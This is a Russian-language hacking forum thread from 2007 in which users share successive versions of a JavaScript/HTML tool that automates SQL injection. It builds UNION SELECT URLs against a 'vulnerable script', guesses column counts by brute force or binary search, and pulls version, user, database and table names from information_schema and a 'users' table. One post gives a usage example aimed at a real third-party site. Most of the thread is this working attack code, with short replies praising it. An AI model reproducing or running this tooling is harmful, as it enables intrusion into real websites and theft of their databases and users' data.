HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 01.09.2007, 00:32
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

новая версия..
переписан почти весь код)
добавлено много нового
например перебор по таблицам, столбцам, подстановка версии и т.д.
хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии

Код HTML:
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="&copy; 2007 halkfild">  
<STYLE type="text/css">
  body 
  {
   padding:10px;  
   background:#2A2E33;  
   font-family:tahoma, verdana, arial;  
   font-size:14px;  
   text-align:center;  
   color:#B9B9BD;
   scrollbar-3dlight-color:#2A2E33;
   scrollbar-arrow-color:#336600;
   scrollbar-base-color:#2A2E33;
   scrollbar-darkshadow-color:#336600;  
  } 
  form 
  {  
   padding:10px; 
   border:1px solid #666;  
   width:700px;  
   margin:0 auto;  
  }
  iframe
  {  
   padding:10px; 
   border:1px solid #666;  
   width:700px;
   height:500px;  
   margin:0 auto;  
  } 
  input, textarea
  {  
   vertical-align:middle;  
   margin:1px 0;  
   padding-right:10px;  
   border:1px solid #336600;
   padding:2px;  
   background:#363940;  
   color:#B9B9BD;  
  }
  div {display:none;}
</STYLE>

<head> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<title>Подборщик количества столбцов &copy; halkfild</title> 
</head> 

<script language="JavaScript">
var st=0,stl=0,met=1,scUrl;
var met=1;
var cl=0,tl=0;  //tableslist, columnslist 
var cc;         //curent columns
function b_search(f) {
  var k;
  var tmpUrl=document.binSearch.url.value;
  var LL=document.binSearch.llc.value*1;      //left limit
  var RL=document.binSearch.rlc.value*1;      //right limit
  var rgurl= document.binSearch.rurl.value;
  var dlim = document.binSearch.delimiter.value;
  
  tmpUrl += dlim+"order"+dlim+"by"+dlim;
  
  if (f==1) { //>
    LL=LL+Math.floor((RL-LL)/2);
  }
  else {      //<
    RL=LL+Math.floor((RL-LL)/2);    
  }
  
  k=Math.floor(LL+(RL-LL)/2);
  tmpUrl += k + rgurl;
  
  document.binSearch.llc.value=LL;
  document.binSearch.rlc.value=RL;
  document.binSearch.cUrl.value=tmpUrl;
  changePage(tmpUrl);
}
function br_search(count) { 
  var lUrl = document.bruteSearch.url.value;
  var rUrl = document.bruteSearch.rurl.value;
  var dlim = document.bruteSearch.delimiter.value;
  var count= document.bruteSearch.colum.value*1+1;
  var tmpUrl,n=0;
  var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i);
  tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim;
         
  while (n<count){ 
      n++;
      tmpUrl += n+""+n+""+n+""+n+""+n+",";
  }
  tmpUrl = tmpUrl.slice(0,-1) + rUrl 
  document.bruteSearch.cUrl.value = tmpUrl;     
  document.bruteSearch.colum.value = n;
  changePage(tmpUrl); 
} 
function changePage(p) { document.getElementById( "ifrm" ).src = p;} 
function dShow(type){
  if (type==1) {
    document.getElementById("brute").style.display='none'; 
    document.getElementById("binary").style.display='inline';
    met=1;
  }
  else if (type==2) {
    document.getElementById("binary").style.display='none';  
    document.getElementById("brute").style.display='inline';
    met=2;
  }
  else if (type==3) {
	   if (st==0) {
		   document.getElementById("substitution").style.display='none';
		   st=1;
	   }
     else  {
	 	   document.getElementById("substitution").style.display='inline';
	 	   st=0;
	 	   var dlim = document.binSearch.delimiter.value;
    	 if (met==1) {
    	     var str = document.binSearch.cUrl.value;
 	         var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i);
	 	       var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i);
	 	       scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]);
	 	       document.subst.sUrl.value = scUrl;	 	       
	 	   }
	 	   else {
	 	       var str = document.bruteSearch.cUrl.value;
	 	       var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i);
	 	       scUrl = res[1]+res[2];
	 	       document.subst.sUrl.value = scUrl;
           
       }
       changePage(document.subst.sUrl.value);
	 	 }
   }
   else if (type==4) {
    if (stl==0) {
		   document.getElementById("list").style.display='none';
		   stl=1;
	   }
     else  {
	 	   document.getElementById("list").style.display='inline';
	 	   stl=0;
     }
   }
}
function getSelect (left, right, count) {
  var dlim = document.binSearch.delimiter.value;
	var tmp=left+dlim+"union"+dlim+"select"+dlim;
	for (var i=0; i<count; i++)	{
		tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ",";  //много 11 для поиска
	}
	tmp = tmp.slice(0,-1) + right;
return tmp;
}
function getSubstr (id) {
  var elem = document.getElementById(id).value;
  var rs = elem.split(/\n/);
return rs;
}
function tuck (type) {
  var dlim = document.binSearch.delimiter.value;
  if (type==1) {
    var el = getSubstr("columns");
    if (cl<el.length) {
      setUrl(el[cl]);
      cl++;
    }
    else {
      alert("Перебор по списку столбцов окончен");
      cl=0;
    }
  }
  else {
    var el = getSubstr("tables");
    if (tl<el.length) {
      var str = scUrl
      var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i);
      document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2];
      changePage(document.subst.sUrl.value);
      tl++;
    }
    else {
      alert("Перебор по списку таблиц окончен");
      tl=0
    } 
  }
}
function searchword(){
  var r,i,s=document.selection.createRange().text;
  
  if(!s)s=prompt('Найти:','');
  if(s){
      r=document.body.createTextRange();
      for(i=0;r.findText(s);i++){
        r.execCommand('BackColor','','lightyellow');
        r.collapse(false)
      }
      alert('Найдено: '+i+' слово(а)')
    }
}
function setUrl(param) {
  var num = document.subst.colNum.value;
  var str = scUrl;
  
  var pnum= num+""+num+""+num+""+num+""+num;
  var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");
  var qqq = str.match(pattern);
  var result = qqq[1]+param+qqq[2];
  document.subst.sUrl.value = result;
  changePage(result);
}
</script>

<body onload="changePage()"> 
<label><b>JavaScript-подборщик количества полей</b></label><br/>
  <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search &copy; <b>halkfild</b>
  <input type="radio" name="type" onClick=dShow(2);> Bruteforce &copy; <b>-=lebed=-</b><br/>
  
<div id="binary" style='display:inline;'>
  <form name=binSearch method=post> 
    <label>Введите путь к уязвимому скрипту</label><br/> 
    <input name="url" value="http://" style='width:388px;'>
    <input name="rurl" value="/*&" style='width:200px;'>  
    <br> 
    <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
    <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
    Границы поиска количества   
    <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
    адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> 
  </form> 
</div>

<div id="brute">
  <form name=bruteSearch method=post> 
    <label>Введите путь до уязвимого скрипта</label><br/> 
    <input name="url" value="http://" style='width:388px;'>
    <input name="rurl" value="/*&" style='width:200px;'>  
    <br>
    Разделитель <input name=delimiter style='width:45px;' value="+">
    <input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'> 
    Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> 
    адрессная строка(URL)<input name=cUrl readonly style='width:600px;'> 
  </form>
</div>


<form name=subst>
  <p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p>
  <div id="substitution">
    <input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'>

    <p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p>
    <div id="list">
      Столбец <input name="colNum" value="1" style='width:40px;'>
      Системная информация <input value="на стадии разработки" style='width:200px;'>
      <input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'>
      <textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea>
      <textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea>
      <input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'>
      <input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'>      
    </div>
    
  </div>
</form>
   
<iframe id="ifrm" src="null"></body> 
</html>
нормально не тестил просто уезжаю..

в сведущей версии будет, наверное )) :
- отлов старых багов))
может автоопределение выводимого столбца, если с ифреймами все решится..
- вывод имен таблиц и столбцов если версия больше 5

ну и еще что-то придумаем

з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса

http://127.0.0.1/lab/injector.php?id=2 + правая часть
 
Ответить с цитированием

  #12  
Старый 01.09.2007, 02:47
mindw0rk
Познающий
Регистрация: 08.06.2007
Сообщений: 75
Провел на форуме:
517024

Репутация: 76
Отправить сообщение для mindw0rk с помощью ICQ
По умолчанию

Спасибо, дико полезная вещь.
 
Ответить с цитированием

  #13  
Старый 01.09.2007, 19:58
ant0ha
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
Провел на форуме:
306311

Репутация: 119
По умолчанию

Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
 
Ответить с цитированием

  #14  
Старый 01.09.2007, 20:04
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
Чем?
 
Ответить с цитированием

  #15  
Старый 01.09.2007, 20:58
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

лично я не понимаю зачем переписывать еще раз то что уже написано - вот у электа класная тулза -- и им подобным уже докуя - хз зачем?
неужели не жалко своего времени и сил?
 
Ответить с цитированием

  #16  
Старый 01.09.2007, 23:54
ant0ha
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
Провел на форуме:
306311

Репутация: 119
По умолчанию

Цитата:
Сообщение от Dr.Check  
Чем?
А какой интерес тогда вобще чтото ломать, когда все за тебя будет делать программа.
 
Ответить с цитированием

  #17  
Старый 23.10.2007, 16:49
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Модернизировал подборщик столбцов (только свою часть скрипта!)
Добавлено:
- возможность ввода начального (предполагаемого) количества столбцов.
- инкремент, декремент на 1.
- возможность указания разделителя и начального параметра:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml"
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahomaverdanaarial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  

  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title
</
head

<
script
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
url="http://"/*целевой URL*/
var tek_url=url/*текуший URI*/
var s=""/*накопитель*/
var n=0

function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
s="1";
      
b=document.search.separator.value;
      
p=document.search.parametr.value;        
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n==1) {s=n;} 
      else {
s=s+","+n;}
       
      } 
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*";
      
document.search.tek_url.value=tek_url
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 

</
script
<
form name=search method=post
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
колонок: <input size=5 name=colum>
  <
input onClick=inc(search); type=button value="+" name=calculateit>
  <
input onClick=dec(search); type=button value="-" name=calculateit>
  <
input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  
текущее значение: <input name=tek_url size=110readonly>

</
form
<
body onload="changePage()"
    <
iframe id="ifrm" src="" width="100%" height="500%"/> 
  </
body

</
html
Пример:
Цитата:
Путь до скрипта: http://ru-board.com/new/print.php?
Параметр: sid=-1
Разделитель: +
Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов)

В планах:
- вывод полезной инфы из отображаемого столбца (user(), version() и т.д.)
- подстановка в запрос имён таблиц и столбцов из словаря (списка).

Последний раз редактировалось -=lebed=-; 23.10.2007 в 17:04..
 
Ответить с цитированием

  #18  
Старый 30.10.2007, 15:19
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Новая версия! (alpha 0.03)
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml"
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahomaverdanaarial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  

  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title
</
head

<
script
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
end =new Array(); /*комментарий (коцовка)*/
end[0]="/*";
end[1]="--";

var 
limit =new Array(); /*limit*/
limit[0]="";
for (
i=1100i++) {limit[i]=i;}

var 
tables_name =new Array(); /*имена таблиц*/
tables_name[0]="";
tables_name[1]="information_schema.tables";
tables_name[2]="users";


= new Array()
for (
i=1100i++) {
   
t[i] = new Array() 
   
t[i][0] = i;
   
t[i][1] = "version()";
   
t[i][2] = "user()";
   
t[i][3] = "database()";
   
t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
   
t[i][5] = "table_name";
   
}


var 
url="http://"/*целевой URL*/
var tek_url=url/*текуший URI*/
var s=""/*накопитель*/
var n=0
var 
m=0;


function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
b=document.search.separator.value;
      
p=document.search.parametr.value;
      
stlb=document.search.stolbec.value;
      
tabl=tables_name[document.search.n_table.value];
      
lm=limit[document.search.limit_n.value]
      
      if (
stlb!=1)
      {
s=t[n][0]}
      else {
s=t[n][document.search.output.value];}
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n!=stlb) {m=0;}
      else {
m=document.search.output.value;}
      
      if (
n==1) {s=t[n][document.search.output.value];} 
      else {
s=s+","+t[n][m];}
       
      }
      
      if (
document.search.n_table.value!=0)
      {
tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}  
      
      if (
document.search.limit_n.value!=0)
      {
lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";} 
      
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
      
document.search.tek_url.value=tek_url
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 

</
script
<
form name=search method=post
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
лимит: <select name=limit_n>
              <
option value=0 selected>?
              <
option value=1>1
              
<option value=2>2
              
<option value=3>3
              
<option value=4>4
              
<option value=5>5
              
<option value=6>6
              
<option value=7>7
              
<option value=8>8
              
<option value=9>9
              
<option value=10>10
              
<option value=11>11
              
<option value=12>12
              
<option value=13>13
              
<option value=14>14
              
<option value=15>15
              
<option value=16>16
              
<option value=17>17
              
<option value=18>18
              
<option value=19>19
              
<option value=20>20
              
</select>          
   
комментарий: <select name=end_of value=0>
              <
option value=0 selected>/*
              <option value=1>--
              </select>
              
  колонок: <input size=5 name=colum>
  <input onClick=inc(search); type=button value="+" name=calculateit>
  <input onClick=dec(search); type=button value="-" name=calculateit>
  <input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  Вывод: <select name=output>
              <option value=0 selected>цифры1,2,3...
              <option value=1>version()
              <option value=2>user()
              <option value=3>database()
              <option value=4>concat(version(),user(),database())
              <option value=5>table_name
              </select> 
  В столбец №: <input size=5 name=stolbec value=1>
  из: <select name=n_table value=0>
              <option value=0 selected>?
              <option value=1>information_schema.tables
               <option value=2>users
              </select>
  <br>
  текущее значение: <input name=tek_url size=110% readonly>

</form> 
<body onload="changePage()"> 
    <iframe id="ifrm" src="" width="100%" height="500%"/> 
  </body> 

</html> 
Добавлено:
- вывод полезной инфы в отображаемый столбец.
- добавлена возможность использовать LIMIT
- добавлена работа с INFORMATION_SCHEMA
В Планах:
- наращивание функционала;
- пополнение списка имён таблиц и названий колонок

Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).

Последний раз редактировалось -=lebed=-; 30.10.2007 в 18:22..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
JavaScript: «оружие» хакеров Isis Мировые новости. Обсуждения. 3 20.04.2007 19:28
Books JS FRAGNATIC PHP 0 11.08.2005 16:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ